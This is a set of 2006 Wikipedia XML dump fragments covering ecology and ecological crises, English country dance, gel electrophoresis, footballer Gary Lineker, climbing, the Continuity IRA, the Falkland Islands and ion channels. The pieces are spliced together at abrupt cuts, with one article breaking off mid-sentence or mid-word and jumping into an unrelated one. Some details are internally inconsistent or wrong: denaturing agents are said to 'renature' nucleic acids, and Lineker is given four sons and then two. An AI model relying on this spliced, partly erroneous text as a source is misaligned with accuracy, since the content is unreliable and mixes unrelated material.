is consumed by the one following, in what are called [[food chain]]s or food network. In a food network, there will be fewer organisms at each level&lt;!-- [[chains tropic]] --&gt; as one follows the links of the network up the chain. These concepts lead to the idea of [[biomass]] (the total living matter in a given place), of [[primary productivity]] (the increase in the mass of plants during a given time) and of [[secondary productivity]] (the living matter produced by consumers and the decomposers in a given time). These two last ideas are key, since they make it possible to evaluate the [[load capacity]] -- the number of organisms which can be supported by a given ecosystem. In any food network, the energy contained in the level of the producers is not completely transferred to the consumers. Thus, from an energy point of view, it is more efficient for humans to be primary consumers (to get nourishment from grains and vegetables) than as secondary consumers (from herbivores such as beef and veal), and more still than as a tertiary consumer (from eating carnivores). The productivity of ecosystems is sometimes estimated by comparing three types of land-based ecosystems and the total of aquatic ecosystems: * The forests (1/3 of the Earth's land area) contain dense biomasses and are very productive. The total production of the world's forests corresponds to half of the primary production. * Savannas, meadows, and marshes (1/3 of the Earth's land area) contain less dense biomasses, but are productive. These ecosystems represent the major part of what humans depend on for food. * Extreme ecosystems in the areas with more extreme climates -- deserts and semi-deserts, tundra, alpine meadows, and steppes -- (1/3 of the Earth's land area) have very sparse biomasses and low productivity * Finally, the marine and fresh water ecosystems (3/4 of Earth's surface) contain very sparse biomasses (apart from the coastal zones). Humanity's actions over the last few centuries have seriously reduced the amount of the Earth covered by forests ([[deforestation]]), and have increased agro-ecosystems ([[agriculture]]). In recent decades, an increase in the areas occupied by extreme ecosystems has occurred ([[desertification]]). === Ecological crisis === Generally, an [[ecological crisis]] is what occurs when the [[environment]] of a species or a population evolves in a way unfavourable to that species survival. It may be that the environment quality degrades compared to the species needs, after a change in an abiotic [[ecological factor]] (for example, an increase of temperature, less significant rainfalls). &lt;br /&gt; It may be that the environment becomes unfavourable for the survival of a species (or a population) due to an increased pressure of [[predation]] (for example overfishing).&lt;br /&gt; Lastly, it may be that the situation becomes unfavourable to the quality of life of the species (or the population) due to a rise in the number of individuals ([[overpopulation]]). Ecological crises may be more or less brutal (occurring within a few months or taking as long as a few million years). They can also be of natural or anthropic origin. They may relate to one unique species or to many species (see the article on [[Extinction event]]). Lastly, an ecological crisis may be local (as an [[oil spill]]) or global (a rise in the sea level due to [[global warming]]). According to its degree of endemism, a local crisis will have more or less significant consequences, from the death of many individuals to the total extinction of a species. Whatever its origin, disappearance of one or several species often will involve a rupture in the [[food chain]], further impacting the survival of other species. In the case of a global crisis, the consequences can be much more significant; some extinction events showed the disappearance of more than 90% of existing species at that time. However, it should be noted that the disappearance of certain species, such as the dinosaurs, by freeing an ecological niche, allowed the development and the diversification of the mammals. An ecological crisis thus paradoxically favored biodiversity. Sometimes, an ecological crisis can be a specific and reversible phenomenon at the ecosystem scale. But more generally, the crises impact will last. Indeed, it rather is a connected series of events, that occur till a final point. From this stage, no return to the previous stable state is possible, and a new stable state will be set up gradually (see [[homeorhesy]]). Lastly, if an ecological crisis can cause extinction, it can also more simply reduce the quality of life of the remaining individuals. Thus, even if the diversity of the human population is sometimes considered threatened (see in particular [[indigenous people]]), few people envision human disappearance at short span. However, [[epidemic disease]]s, [[famine]]s, impact on health of reduction of [[air quality]], [[food crises]], reduction of living space, accumulation of toxic or non degradable wastes, threats on [[keystone species]] (great apes, panda, whales) are also factors influencing the [[well-being]] of people. During the past decades, this increasing responsibility of humanity in some ecological crises has been clearly observed. Due to the increases in technology and a rapidly increasing population, humans have more influence on their own environment than any other [[ecosystem engineer]]. Some usually quoted examples as ecological crises are: * [[Permian-Triassic extinction event]] 250 million of years ago * [[Cretaceous-Tertiary extinction event]] 65 million years ago * [[Global warming]] related to the [[Greenhouse effect]]. Warming could involve flooding of the Asian deltas (see also [[ecorefugee]]s), multiplication of [[extreme weather]] phenomena and changes in the nature and quantity of the food resources (see [[Global warming and agriculture]]). See also international [[Kyoto Protocol]]. * [[Ozone layer]] hole issue * [[Deforestation]] and [[desertification]], with disappearance of many species. * The [[nuclear reactor|nuclear]] meltdown at [[Chernobyl]] in [[1986]] caused the death of many people and animals from [[cancer]], and caused mutations in a large number of animals and people. The area around the plant is now abandoned because of the large amount of radiation generated by the meltdown. == See also == {{Book}} * [[ELDIS]], a database on ecological aspects of economical development. * [[Ecology movement]] * [[Deep Ecology]] * [[List of ecologists]] * [[List of ecology topics]] * [[List of biology topics]] * [[List of publications in biology#Ecology| Important publications in ecology]] {{Biology-footer}} {{Natural sciences-footer}} [[Category:Ecology|*]] {{Link FA|fr}} [[ab:Екологи]] [[ar:علم البيئة]] [[an:Ecolochía]] [[bg:Екология]] [[br:Ekoloji]] [[ca:Ecologia]] [[ceb:Ekolohiya]] [[cs:Ekologie]] [[cy:Ecoleg]] [[da:Økologi]] [[de:Ökologie (Biologie)]] [[el:Οικολογία]] [[als:Ökologie]] [[es:Ecología]] [[eo:Ekologio]] [[fa:بوم‌شناسی]] [[fr:Écologie]] [[ga:Éiceolaíocht]] [[ko:생태학]] [[io:Ekologio]] [[id:Ekologi]] [[ia:Ecologia]] [[is:Vistfræði]] [[it:Ecologia]] [[he:אקולוגיה]] [[ka:ეკოლოგია]] [[lad:Ekolojiya]] [[lt:Ekologija]] [[lb:Ökologie]] [[hu:Ökológia]] [[mk:Екологија]] [[ms:Ekologi]] [[nl:Ecologie]] [[ja:生態学]] [[no:Økologi]] [[nn:Økologi]] [[oc:Ecologia]] [[pl:Ekologia]] [[pt:Ecologia]] [[ro:Ecologie]] [[ru:Экология]] [[simple:Ecology]] [[sk:Ekológia]] [[sl:Ekologija]] [[sr:Екологија]] [[su:Ékologi]] [[fi:Ekologia]] [[sv:Ekologi]] [[th:นิเวศวิทยา]] [[vi:Sinh thái học]] [[tr:Ekoloji]] [[uk:Екологія]] [[zh:生态学]]</text> </revision> </page> <page> <title>English Country Dance</title> <id>9631</id> <revision> <id>35803872</id> <timestamp>2006-01-19T11:49:04Z</timestamp> <contributor> <username>Everyking</username> <id>44020</id> </contributor> <minor /> <text xml:space="preserve">'''English Country Dance''', sometimes abbreviated ECD, is a form of [[folk dance]]. It is a social dance form, which dates from the late sixteenth century. Queen [[Elizabeth I of England]] is noted to have been entertained by &quot;Country Dancing&quot;. Although her time was the late [[Renaissance]], ECD was popular well into the [[Baroque]] and [[English Regency|Regency]] eras. The term '''[[Country Dance]]''' later evolved to include more dance forms. It is not associated with English peasant dance, which, in the 17th Century, was still
rent concentrations of [[acrylamide]] and a [[cross-linker]], producing different sized mesh networks of [[polyacrylamide]]. When separating larger nucleic acids (greater than a few hundred [[base (chemistry)|bases]]), the preferred matrix is purified [[agarose]] (which is a seaweed extract). In both cases, the gel forms a solid but porous matrix that looks and feels like clear jello. Acrylamide, in contrast to polyacrylamide, is a [[neurotoxin]] and needs to be handled using [[Good Laboratory Practice]]s (GLP) to avoid poisoning. The second part, &quot;''[[Electrophoresis | electrophoresis]]''&quot;, refers to the [[electromotive force]] (EMF) that is used to push or pull the molecules through the gel matrix; by placing the molecules in wells in the gel and applying an electric current, the molecules will move through the matrix at different rates, towards the [[anode]] if negatively charged or towards the [[cathode]] if positively charged (note that gel electrophoresis operates as an electrolytic cell; the anode is positive and the cathode is negative). In the case of nucleic acids, the direction of migration, from negative to positive electrodes, is due to the natural negative charge carried on their [[sugar]]-[[phosphate]] backbone. Double-stranded DNA fragments natually behave as long rods, so their migration through the gel is relative to their [[radius of gyration]], or, roughly, size. Single-stranded DNA or RNA tend to fold up into molecules with complex shapes and migrate through the gel in a complicated manner based on their tertiary structure. Therefore, agents that disrupt the [[hydrogen bond]]s, such as [[sodium hydroxide]] or [[formamide]], are used to renature the nucleic acids and cause them to behave as long rods again. Proteins, on the other hand, can have different charges and complex shapes, therefore they may not migrate into the gel at similar rates, or at all, when placing a negative to positive EMF on the sample. Proteins therefore, are ususally [[denatured]] in the presence of a [[detergent]] such as [[sodium dodecyl sulfate]]/[[sodium dodecyl phosphate]] (SDS/SDP) that coats the proteins with a negative charge. Generally, the amount of SDS bound is relative to the size of the protein, so that the resulting denatured proteins have an overall negative charge, and all the proteins have a similar charge to mass ratio. Since denatured proteins act like they were long rods instead of having a complex tertiary shape, the rate at which the resulting SDS coated proteins migrate in the gel is relative only to its size and not its charge or shape. After the electrophoresis run, when the smallest molecules have almost reached the anode, the molecules in the gel can be [[staining (biology)|stained]] to make them visible. [[Ethidium bromide]], silver, or [[coomassie]] blue dye can be used. Other methods can also be used to visualize the separation of the mixture's components on the gel. If the analyte molecules [[luminescence|luminesce]] under [[ultraviolet]] light, a [[photograph]] can be taken of the gel under ultraviolet light. If the molecules to be separated contain [[radioactivity|radioactive]] atoms, an [[isotopic tracer|autoradiogram]] can be recorded of the gel (as in the example shown above). If several mixtures have initially been injected next to each other, they will run parallel in individual lanes. Depending on the number of different molecules, each lane shows separation of the components from the original mixture as one or more distinct bands, one band per component. Incomplete separation of the components can lead to overlapping bands, or to indistinguishable smears representing multiple unresolved components. Bands in different lanes that end up at the same distance from the top contain molecules that passed through the gel with the same speed, which usually means they are approximately the same size. There are special markers available - ladders - which contain a mixture of molecules of known sizes. If such a marker was run on one lane in the gel parallel to the unknown samples, the bands observed can be compared to those of the unknown in order to determine their size. The distance a band travels is approximately inversely proportional to the logarithm of the size of the molecule. ==Types== Gel electrophoresis is used in [[molecular biology]], [[genetics]], and [[biochemistry]]: *Gel electrophoresis of large [[DNA]] or [[RNA]] is usually done by [[agarose gel electrophoresis]]. See the &quot;[[Chain termination method]]&quot; page for an example of a [[Acrylamide|polyacrylamide]] DNA sequencing gel. *Gel electrophoresis of [[protein]]s is usually done in an [[sodium dodecyl sulfate|SDS]] polyacrylamide gel ([[SDS-PAGE]]), by [[native gel electrophoresis]], or by [[2-D electrophoresis]]. *[[Capillary electrophoresis]] *[[DNA electrophoresis]] *[[Zymography]] *[[Gel isolation]] ==See also== * [[Protein electrophoresis]] * [[Electrofocusing]] * [[Southern blot]]ting * [[Northern blot]]ting * [[Western blot]]ting * [[Two-dimensional gel electrophoresis]] ==External links== * [http://gslc.genetics.utah.edu/units/biotech/gel/ Biotechniques Laboratory electrophoresis demonstration], from the University of Utah's Genetic Science Learning Center * [http://www.westernblotting.org Protein electrophoresis and Western Blotting] {{Template:Protein methods}} [[Category:Protein methods]] [[Category:Molecular biology]][[Category:Biochemistry]][[Category:Analytical chemistry]] [[Category:Laboratory techniques]] [[Category:Electrophoresis]] [[ca:Gel d'electroforesi]] [[de:Gelelektrophorese]] [[eo:Elektroforezo]] [[fa:الکتروفورز]] [[fr:Électrophorèse]] [[nl:Gelelektroforese]] [[ja:&amp;#38651;&amp;#27671;&amp;#27891;&amp;#21205;]] [[pl:Elektroforeza]] [[sr:Електрофореза]] [[zh:凝膠電泳]] [[pt:Eletroforese em Gel]]</text> </revision> </page> <page> <title>Gary Lineker</title> <id>12583</id> <revision> <id>41751011</id> <timestamp>2006-03-01T14:01:29Z</timestamp> <contributor> <username>Slumgum</username> <id>580636</id> </contributor> <minor /> <comment>cat</comment> <text xml:space="preserve">'''Gary Winston Lineker''' [[Order of the British Empire|OBE]], (born [[30 November]], [[1960]]), was an [[England]] international [[football (soccer)|football]]er and is now a broadcaster. Born in [[Leicester]], he became the foremost English [[striker]] of his generation. Lineker's intelligence enabled him to cope better than his contemporaries when playing in continental [[Europe]], as well as to make a smooth transition into a role as a pundit and sports broadcaster. He is married and he and his wife Michelle have four sons. His oldest son George survived [[leukemia]] as a baby; Lineker has since appeared in adverts encouraging people to give blood as a result. Lineker is a freeman of the City of Leicester (which entitles him to graze his sheep - should he have any - on Town Hall Square), and he is often referred to as &quot;Leicester's Favourite Son&quot;. As a youngster, he famously worked on his family's stall in Leicester Market. At this point he is currently living with his wife and two sons. == Career in football == He began his career at his hometown club of [[Leicester City F.C.|Leicester City]] in [[1976]]. He broke into Leicester's first-team squad in [[1978]]. He rose to fame with [[Everton F.C.|Everton]] (1985-86) scoring 40 goals in 42 games, before [[FC Barcelona|Barcelona]] signed him just prior to the [[Football World Cup 1986|1986 World Cup Finals in Mexico]]. His [[World Cup Golden Boot|Golden Boot]] winning performance at the finals led to much anticipation of success at the [[Camp Nou]], and he didn't disappoint, scoring 21 goals in 41 games during his first season, including a [[Hat-trick|hat-trick]] in a 3-2 win over arch rivals [[Real Madrid]]. He went on to win the [[Copa del Rey]] in [[1988]] and the [[Cup Winners' Cup|European Cup Winners' Cup]] in [[1989]]. He then returned to England to play three seasons at [[Tottenham Hotspur F.C.|Tottenham Hotspur]], scoring 67 goals in 105 games and winning the [[FA Cup]], before ending his career with an injury-plagued spell in the [[J. League]] with [[Nagoya Grampus Eight]]. He first played for [[England national football team|England's national team]] against [[Scotland national football team|Scotland]] in [[1984]], winning the [[World Cup Golden Boot|Golden Boot]] at the [[Football World Cup 1986|1986 FIFA World Cup]] and reaching the semi-finals in the [[Football World Cup 1990|1990 FIFA World Cup]]. He retired from international football with 80 [[caps (football)|caps]] and 48 goals, one fewer than [[Bobby Charlton]]'s England record (although Charlton took 26 more caps to score his extra goal). In what proved to be his last England match, against [[Sweden national football team|Sweden]] at [[1992 European Football Championship|Euro 92]], he was controversially substituted in favour of Arsenal striker [[Alan M. Smith|Alan M. Smith]], ultimately denying him the chance to equal the total. He had earlier missed a [[penalty kick|penalty]] that would have brought him level in a pre-tournament friendly against [[Brazil national football team|Brazil]]. He was [[PFA Players' Player of the Year]] in [[1986]] and, despite his long career, was never [[yellow card|cautioned]] by a referee for foul play (never once receiving either a [[yellow card|yellow]] let alone a [[red card]]), a feat equalled only by [[Billy Wright (footballer)|Billy Wright]], [[John Charles|John Charles]] and [[Stanley Matthews|Sir Stanley Matthews]]. He acquired a Mr &quot;nice guy&quot; image; some cynics have suggested that this was because he rarely joined in defensive duties.. == Post playing career == Following retirement from professional football, he developed a career in the media, initially as a pundit before replacing [[Des Lynam]] as the [[BBC]]'s a
depending on context, also down. It may refer to [[aircraft]], a land [[vehicle]], and [[human]]s and other [[animal]]s. On land, in particular it refers to steep climbs, e.g. on a [[hill]], [[mountain]] or [[stairs]], in a pole or [[tree]], etc. This article covers climbing without a vehicle. == Types of climbing == '''By terrain:''' * Rock climbing is climbing on steep rocky terrain. * [[Mountaineering]] is climbing on [[mountain]]s. * [[Ice climbing]] is climbing on frozen [[water]] features. * Mixed climbing is climbing on both frozen water features, as in [[ice climbing]], as well as rocky terrain. * [[Bouldering]] is [[solo climbing]] on [[boulder]]s. * Stack climbing is climbing [[sea stack]]s: near vertical columns of rock in the sea, near coasts. * [[Buildering]] (pun on bouldering) is climbing on the outside of buildings. * [[Indoor climbing]] is climbing on artificial [[climbing wall]]s. * [[Artificial climbing tower]] is a wooden or steel [[climbing wall]] used outdoors. * [[Recreational tree climbing]] is climbing on [[tree]]s. * Professional [[tree climbing]] is climbing on [[tree]]s for the purpose of hardware installation, pruning, or removal. '''By method of ascent:''' * In [[aid climbing]], all means of ascent are used, from pulling on gear to climbing rope ladders attached to drilled bolts. * In [[free climbing]], climbers use only their hands, feet and other body parts to make progress. Ropes and other gear are only used for protection. '''By type of protection:''' * In [[traditional climbing]] (commonly referred to as &quot;trad climbing&quot;) the leader places all protection. The [[climbing system]] is used to protect the climber against the consequences of a fall. * [[Sport climbing]] is climbing on routes that are protected mostly or entirely by [[bolt (climbing)|bolt]]s drilled into the rock. * [[Top-rope climbing]] uses a rope passed through an anchor at the top of the climb. * [[Solo climbing]] is climbing without a partner. It can be done with a rope for protection (&quot;roped solo&quot;) or without any form of protection at all (&quot;free-soloing&quot;). [[Deep-water soloing]] relies on water at the base of the climb to protect against injury. *[[Bouldering]] relies on a partner (a &quot;spotter&quot;) and a [[Crash pad|bouldering mat]] to avoid injury. [[Image:Calico Hills climbing.jpg|right|250px|thumb|Short (one-pitch) climbs on the Calico Hills, west of Las Vegas, Nevada]] == Competitions == Competitions (&quot;comps&quot;) are usually held indoors on purpose built [[climbing wall]]s. There are three main categories. * Difficulty: competitors climb the same route one after the other. The winner is the one who reaches the highest point on the climb; if several competitors reach the top (or the same high point) the time taken may be used to determine the winner. Alternatively, some difficulty competitions involve a number of routes. Each route is assigned a point value based on difficulty. Competitors climb as many routes as they want, and their score is derived from their top few completed routes (with the exact number of routes differing between competitions). If a tie-breaker is needed, the numbers of &quot;falls&quot; (attempts) is counted. Some competitions limit the number of attempts, others do not. * Speed: on two identical routes, competitors race each other to the top. The first to reach the top wins. * Bouldering: Competitors work through a series of boulder problems on either a time limit, or an attempt limit for each problem. Points are awarded for completing each problem. In a tie-break situation or where limited attempts are allowed then points are awarded for the fewest number of attempts required to complete the problem. Bouldering competitions at higher levels usually have ''[[Isolation (climbing competitions)|isolation]]'' to ensure that the competitors cannot see the problems before climbing them. Sometimes climbers must climb the route ''[[climbing on sight|on sight]]''. This means that they are not allowed to see other climbers on the route, or receive any form of advice (beta) from other climbers, and have only a limited amount of time to visually inspect the route from ground level. (Otherwise later climbers would be able to learn from previous competitors' mistakes, giving them a considerable advantage.) In addition to competitions, festivals such as the [[Phoenix Boulder Blast]] and the[[ International Climbing Festival]] (held in [[Lander, Wyoming]]) are a gathering place for rock climbers from around the world. They feature trade shows for climbing specific merchandise, clinics from world-renowned climbers, and parties. == Grading == Climbers grade the difficulty of the routes they climb. The [[grade (climbing)|grading system]] used varies from country to country (and region) and according to the style of climb. See also [[grade (bouldering)]]. Grade opinions can vary from person to person. This phenomenon can be seen frequently in climbing gyms where grading will vary vastly between gyms. Different forms of grading are also used for mountaineering and bouldering. There is no common bouldering grading technique yet. == Climbing techniques of animals == Many animals have developed excellent climbing techniques. Some animals, such as [[gecko]]es, can walk up and down vertical walls and even walk on ceilings without any problems. But some other animals have the same problem as humans in that climbing down is more difficult than climbing up, because backwards movements are required. The best known example are [[cat]]s, which have to be rescued sometimes from trees, because they cannot climb down from them. == Climbing and the law == Rock climbing is not necessarily allowed on any given rock formation. The regulations vary from place to place but [[trespass]] laws are the most common impediment to climbing. Even where physical access is not an issue, climbing might not be allowed due to public [[liability]] concerns. Land owners often ban climbing during particular seasons to protect, for example, nesting birds. There are several organisations devoted to opening up new areas, or protecting access to existing areas, for rock climbing. In the USA, the largest of these is [http://www.accessfund.org The Access Fund]. In the UK, an equivalent organisation is the [http://www.thebmc.co.uk British Mountaineering Council's] Access and Conservation Trust. Climbing on buildings and structures (&quot;[[buildering]]&quot;) without the owner's consent is illegal in most cases. == Climbing in popular culture == Climbing also has importance in some festivals. The best known festivals in which climbing plays an important role are [[technoparade]]s, especially [[loveparade]]. In these parades, it is very common to climb on trees, street lamps, portable restrooms and other large objects. Climbing is also common during streetparade in Zurich and reincarnation in Hannover, although security staff and policemen pay close attention to climbers, since injuries and property damage have occurred in the past. Rock climbing has been featured in many popular movies, such as [[Cliffhanger (film)|Cliffhanger]] and [[Vertical Limit]], but save for a few exceptions it is generally given an inaccurate portrayal by Hollywood and much of the popular media. The sport of rock climbing was swept up in the [[extreme sport]] craze in the late 1990s which led to images of rock climbers on everything from anti perspirant and [[US Marine Corps|United States Marine Corps]] commercials to college promotional materials. == See also == * [[List of climbers]] * [[List of climbing topics]] * [[List of climbing areas]] * [[Climbing equipment]] * [[Glossary of climbing terms]] * [[Cliffhanger (movie)]] * [[Outdoor education]] * [[Parkour]] - French technique of passing obstacles in one fluid motion [[Category:Climbing]] [[ca:Escalada]] [[cs:Horolezectví]] [[de:Klettern]] [[es:Escalada]] [[eo:Grimpado]] [[fr:Escalade]] [[lt:Laipiojimas]] [[nl:Klimsport]] [[ja:&amp;#12525;&amp;#12483;&amp;#12463;&amp;#12463;&amp;#12521;&amp;#12452;&amp;#12511;&amp;#12531;&amp;#12464;]] [[no:Klatring]] [[pl:Wspinaczka]] [[pt:Escalada]] [[ru:Скалолазание]] [[sl:Plezanje]] [[sv:Klättring]] [[zh:攀岩]] ==External links== *[http://www.spadout.com Rock Climbing Magazine - Spadout] *[http://www.verticalresources.org Vertical Resources - Infomation on mountaineering, ice and rock climbing. Based in New Zealand] *[http://www.climberonline.com Climber Online - Global, online climbing resource in English] *[http://www.supertopo.com SuperTopo - Online resource for climbing route information in the western US including Yosemite, Zion, &amp; Sierras. Discussion forum. English]</text> </revision> </page> <page> <title>Continuity Irish Republican Army</title> <id>5859</id> <restrictions>move=:edit=</restrictions> <revision> <id>41615819</id> <timestamp>2006-02-28T15:13:00Z</timestamp> <contributor> <username>Rich Farmbrough</username> <id>82835</id> </contributor> <minor /> <comment>Wikify dates</comment> <text xml:space="preserve">The '''Continuity Irish Republican Army''' ('''CIRA''') is an [[Irish Republicanism|Irish Republican]] paramilitary organisation (which supporters recognise as the National Army of the 32-County Irish Republic) that split from the [[Provisional Irish Republican Army|Provisional IRA]] in [[1986]]. The Provisional IRA supported a motion at the [[Sinn Féin]] Ard Fheis (party conference) to drop the policy of [[abstentionism]] and take seats in the [[Oireachtas]], the parliament of the [[Republic of Ireland]]. Opponents of the motion contended that it was unconstitutional and established themselves as a separate body, claiming to a rump continuation of the legitimate IRA and regarding the Provisionals as having left the movement. Some members of the Army Executive reconstituted themselves as t
he islands led to the collapse of the Argentine [[military dictatorship]] in 1983. Disputes over control of the islands continue. In 2001, British Prime Minister [[Tony Blair]] became the first to visit Argentina since the war. On the 22nd anniversary of the war, Argentina's President [[Néstor Kirchner]] gave a speech insisting that the islands would once again be part of Argentina. Kirchner, campaigning for president in 2003, regarded the islands a top priority. In June 2003 the issue was brought before a United Nations committee, and attempts have been made to open talks with Britain to resolve the issue of the islands. As far as the Falkland Islands Government and people are concerned there is no issue to resolve. The Falkland Islanders themselves are almost entirely British and maintain their allegiance to the United Kingdom. (See also [[Sovereignty of the Falkland Islands]].) Falkland Islanders were granted full British citizenship from [[1 January]] [[1983]] under the [[British Nationality (Falkland Islands) Act 1983]]. ==Geography== [[Image:Falklands Map.gif|thumb|250px|Map of the Falkland Islands]] The islands are 300 miles (483 km) from the [[South America]]n mainland. There are two main islands, [[East Falkland]] and [[West Falkland]] and about 700 small islands. The total land area is 12,173 km&amp;sup2;, approximately the same area as [[Connecticut]] or [[Northern Ireland]], and a [[coastline]] estimated at 1,288 km. Much of the land is part of the two main islands separated by the [[Falkland Sound]]: [[East Falkland]], home to the capital of [[Stanley, Falkland Islands|Stanley]] and the majority of the population, and [[West Falkland]]. Both islands have [[mountain range]]s, rising to 705 m at [[Mount Usborne]] on East Falkland. There are also some [[bog]]gy [[plain]]s, most notably [[Lafonia]], the southern half of East Falkland. Virtually the entire area of the islands is used as [[pasture]] for [[domestic sheep|sheep]]. Smaller islands surround the main two. They include [[Barren Island (Falkland Islands)|Barren Island]], [[Beaver Island (Falkland Islands)|Beaver Island]], [[Bleaker Island]], [[Carcass Island]], [[George Island]], [[Keppel Island]], [[Lively Island]], [[New Island]], [[Pebble Island]], [[Saunders Island (Falkland Islands)|Saunders Island]], [[Sealion Island]], [[Speedwell Island]], [[Staats Island]], [[Weddell Island]], [[West Point Island]]. The [[Jason Islands]] lie to the north west of the main archipelago, and [[Beauchene Island]] some distance to its south. Speedwell Island and George Island are split from East Falkland by [[Engle Passage]]. The islands claim a territorial sea of 12 nautical miles (22 km) and an [[exclusive fishing zone]] of 200 nautical miles (370 km), which has been a source of disagreement with [[Argentina]]. The Falkland Islands have a cold marine climate with strong westerly winds. It is generally [[cloud]]y and [[humid]]; [[rain]] occurs on more than half the days in a typical year. Snow is rare, but can occur at almost any time of year. Islanders themselves talk about two main areas of the islands, namely Stanley and the rest, which they call &quot;the Camp&quot;, from the Spanish ''campo'' (&quot;countryside&quot;). {{Falkland Islands}} ==Economy== [[Image:Falkland1.jpg|thumb|200px|left|A Falkland Pound Note]] {{main|Economy of the Falkland Islands}} The largest industries are [[fishing]] and [[agriculture]]. The islands have oil reserves that are believed to be quite substantial, but have yet to be exploited. The climatic conditions of the southern seas mean that the economic viability of any exploitation is poor. The continuing sovereignty dispute with Argentina also hampers exploration possibilities. Since the 1982 war, expenditure by the British military forms a major part of the island's economy. The largest company in the islands is the [[Falkland Islands Company]], a publicly quoted company on the [[London Stock Exchange]] and responsible for the majority of the economic activity on the islands. The currency in use is the [[Falkland Islands pound|Falkland Pound]], which remains in parity with [[Pound Sterling | Pounds Sterling]]. The Falkland Islands also mint their own coins, and issue stamps which forms a source of revenue from overseas collectors. ==Demographics== [[Image:IMG 0688-ch-whalebone-arch.jpg|thumb|175px|[[Christ Church Cathedral, Stanley|Christ Church Cathedral]] with whale bone arch, [[Stanley, Falkland Islands|Stanley]].]] The population is 2,967 (July 2003 estimate), the majority of which are of British descent (approximately 70%). Those people from the United Kingdom who have obtained Falkland Island status, became what are known locally as 'belongers'. However, a few are of Scandinavian descent. Some are the descendants of whalers who reached the Islands during the last two centuries. Furthermore there is a small minority of South American, mainly Chilean origin, and in more recent times many people from [[St Helena]] have also come to work in the Islands. The Falkland Islands have been a centre of English language learning for South Americans. Islanders call themselves &quot;Islanders&quot;. Outsiders often call Islanders &quot;Kelpers&quot;, from the [[kelp]] which grows profusely around the islands, but the name is no longer used in the Islands. &lt;!-- it being used pejoratively in Argentina to mean ''second-class citizens'' as a reflection on the legal status of the islanders within the UK prior to the passing of the [[British Nationality (Falkland Islands) Act 1983|Nationality Act of 1983]]. --&gt; The main religion is [[Christianity]]. The main denominations are [[Church of England]], [[Roman Catholicism]], [[United Free Church]], [[Evangelist Church]], [[Jehovahs Witnesses|Jehovah's Witnesses]], [[Lutheranism]] and [[Seventh-day Adventist Church | Seventh-day Adventism]]. The extra-provincial [[Anglicanism|Anglican]] parish of the Falkland Islands is under the direct jurisdiction of the [[Archbishop of Canterbury]]. The Falklands Islands form an [[Apostolic Prefecture]] of the Catholic Church. ==Transport== The Falkland Islands has two airports with paved runways. [[RAF Mount Pleasant]], 30 miles west of Stanley acts as the main international airport, with flights operated by the [[Royal Air Force]] to [[RAF Brize Norton]] in Oxfordshire, [[United Kingdom]] with a refueling stop at [[RAF Ascension Island]]. RAF flights are on Tri-Stars although it is common for charter aircraft to be used if the Tri-Stars are required for operational flights. Flights are also available to [[Chile]] operated by [[LAN (airline)|LAN]]. [[Port Stanley Airport]] is a smaller airport outside the city, and is used for internal flights. Most settlements have grass air strips which are served by Islander aircraft. The internal flight schedule is decided a day in advance according to passenger needs and an announcement made on the radio detailing arrival and departure times the night before. Some flights also operate to British bases in the [[British Antarctic Territory]]. The road network has been improved in recent years, however, few paved roads exist outside Stanley and the RAF base. ==Mines and Ordnance== Thousands of land mines remain from the 1982 war which are securely and clearly fenced off with free maps available from the EOD (Explosive [[Ordnance]] Disposal) office in Stanley. Care should still be taken as some beaches were mined and there have been concerns the tides could have moved some mines. The same applies where mine fields are close to rivers. Care should be taken in case mines have been washed out of the marked area by flooding. There is also ordnance left over from the war, although finds of this type are becoming rarer with the passage of time. ==See also== * [[Sovereignty of the Falkland Islands]] * [[Communications in the Falkland Islands]] * [[Military of the Falkland Islands]] * [[Stamps and postal history of the Falkland Islands]] * [[Transport in the Falkland Islands]] * [[Battle of the Falkland Islands]] - naval engagement of the [[World War I|First World War]] * [[British Nationality (Falkland Islands) Act 1983]] * [[Falkland Islands Dependencies Survey]] * [[Falklands War]] - conflict between [[Argentina]] and [[United Kingdom]] * [[List of settlements in the Falkland Islands]] * [[Major Samuel Stransham]] * [[Geology of the Falkland Islands]] ==External links== {{sisterlinks|Falkland Islands}} * [http://www.falklands.gov.fk/ Falkland Islands Government] official site * [http://www.falklandislands.com/ Falkland Islands Tourism] official site * [http://www.fidc.org.fk/ Falkland Islands Development Corporation] official site * [http://www.falklandnews.com/ Falkland Islands News Network] official site * [http://www.falklands.info/ Falkland Islands Information Portal] * [http://dmoz.org/Regional/South_America/Falkland_Islands Open Directory Project - Falkland Islands] * [http://www.jim-mclaren.co.uk/ Falkland Islands Photos Collection] {{South America}} {{British dependencies}} [[Category:Archipelagoes]] [[Category:Current British colonies]] [[Category:Disputed territories]] [[Category:Falkland Islands|Falkland Islands]] [[Category:Special territories of the European Union]] [[zh-min-nan:Falkland Kûn-tó]] [[ca:Illes Malvines]] [[cs:Falklandy]] [[da:Falklandsøerne]] [[de:Falklandinseln]] [[et:Falklandi saared]] [[es:Islas Malvinas]] [[eo:Falklandoj]] [[eu:Falkland-Malvinak]] [[fr:Îles Malouines]] [[gl:Illas Malvinas - Falkland Islands]] [[ko:포클랜드 제도]] [[io:Falklandi]] [[id:Kepulauan Falkland]] [[is:Falklandseyjar]] [[it:Isole Falkland]] [[he:איי פוקלנד]] [[lt:Folklando salos]] [[hu:Falkland-szigetek]] [[nl:Falklandeilanden]] [[ja:フォークランド諸島]] [[no:Falklandsøyene]] [[nn:Falklandsøyane]] [[pl:Falklandy]] [[pt:Malvinas]] [[ru:Фолклендские (Мальвинские) острова]] [[simple:Falkland Islands]] [[sk:Falklandy]] [[sl:Falklandski otoki]] [[fi:Falklandinsaaret]] [[sv:Falklandsöarna]] [[tr
channel|''Cyclic nucleotide-gated'' channels]], ''Calcium-activated'' channels and others open in response to internal solutes and mediate cellular responses to [[second messenger]]s. *[[Stretch-activated ion channel|''Stretch-activated'' channels]] open or close in response to mechanical forces that arise from local stretching or compression of the membrane around them; for example when their cells swell or shrink. Such channels are believed to underlie touch sensation and the transduction of acoustic vibrations into the sensation of sound. *[[G-protein-gated ion channel|''G-protein-gated'' channels]] open in response to [[G protein]]-activation via its receptor. *[[Inward-rectifier potassium ion channel|''Inward-rectifier K'' channels]] allow potassium to flow into the cell in an inwardly rectifying manner, i.e, potassium flows into the cell but not out of the cell. They are involved in important physiological processes such as the pacemaker activity in the heart, insulin release, and potassium uptake in glial cells. *[[Light-gated channels]] like [[channelrhodopsin]] are directly opened by the action of light *[[Resting channel|''Resting'' channels]] remain open at all times. Certain channels respond to multiple influences. For instance, the [[NMDA receptor]] is partially activated by interaction with its ligand, [[glutamate]], but is also voltage-sensitive and conducts only when the membrane is depolarized. Some calcium-sensitive potassium channels respond to both calcium and 